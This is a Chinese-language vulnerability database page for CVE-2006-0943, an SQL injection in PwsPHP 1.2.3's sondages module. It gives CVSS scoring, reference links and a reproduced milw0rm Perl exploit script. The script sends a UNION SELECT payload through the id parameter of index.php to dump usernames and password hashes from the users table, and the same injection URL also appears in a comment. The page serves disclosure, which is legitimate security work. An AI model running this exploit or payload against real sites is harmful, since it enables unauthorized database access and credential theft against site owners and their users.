CVE-2006-0943
CVSS7.5
发布时间 :2006-02-28 21:02:00
修订时间 :2011-03-07 21:31:25
NMCE    

[原文]SQL injection vulnerability in the sondages module in index.php in PwsPHP 1.2.3 allows remote attackers to execute arbitrary SQL commands via the id parameter to index.php.


[CNNVD]PwsPHP ’index.php‘SQL注入漏洞(CNNVD-200602-427)

        PwsPHP 1.2.3的index.php中的sondages模块存在SQL注入漏洞。远程攻击者可以借助指向index.php的id参数执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0943
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0943
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-427
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0748
(UNKNOWN)  VUPEN  ADV-2006-0748
http://www.securityfocus.com/archive/1/archive/1/426183/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060226 Re: PwsPHP Injection SQL on Index.php
http://www.securityfocus.com/archive/1/archive/1/426084/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060225 PwsPHP Injection SQL on Index.php
http://www.pwsphp.com/index.php?mod=news&ac=commentaires&id=278
(UNKNOWN)  CONFIRM  http://www.pwsphp.com/index.php?mod=news&ac=commentaires&id=278
http://securitytracker.com/id?1015684
(UNKNOWN)  SECTRACK  1015684
http://securityreason.com/securityalert/496
(UNKNOWN)  SREASON  496

- 漏洞信息

PwsPHP ’index.php‘SQL注入漏洞
高危 SQL注入
2006-02-28 00:00:00 2006-03-01 00:00:00
远程  
        PwsPHP 1.2.3的index.php中的sondages模块存在SQL注入漏洞。远程攻击者可以借助指向index.php的id参数执行任意SQL命令。

- 公告与补丁

        

- 漏洞信息 (1532)

PwsPHP <= 1.2.3 (index.php) Remote SQL Injection Exploit (EDBID:1532)
php webapps
2006-02-25 Verified
0 papipsycho
N/A [点击下载]
#!/usr/bin/perl
#
# PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
# http://example.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*
# Discovered by: papipsycho (papipsycho.com) (WOrlddefacers.de)
# ported by str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];

sub usage
 {
    print "\nPwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit\n";
    print "Discovered by: papipsycho (papipsycho.com)\n";
    print "Ported by str0ke (milw0rm.com)\n";
    print "Usage: $0 www.example.com /directory/\n";
    print "sever    -  URL\n";
    print "path     -  path to index.php\n";
    exit ();
}

sub exploit
 {
    print qq(
    PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
    Discovered by: papipsycho (papipsycho.com)
    Ported by str0ke (milw0rm.com)\n\n);

    $string= "index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*";
    $url = sprintf("http://%s%s%s",$serv,$path,$string);
    $content = get "$url";
    @contents = split(/\n/, $content);
    foreach $line (@contents) {
    if ($line =~ /(\<center\>\<b\>)(.*?)(\<\/b\>\<\/center\>\<br\>\<br\>)/){&username;}
    if ($line =~ /(\<td\>)(\w{32})(\<\/td\>)/){&password;}
    }
}

sub username { print "[*] Username: $2\n";}
sub password { print "[*] Hash: $2\n\n";}

if (@ARGV != 2){&usage;}else{&exploit;}

# milw0rm.com [2006-02-25]
		
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站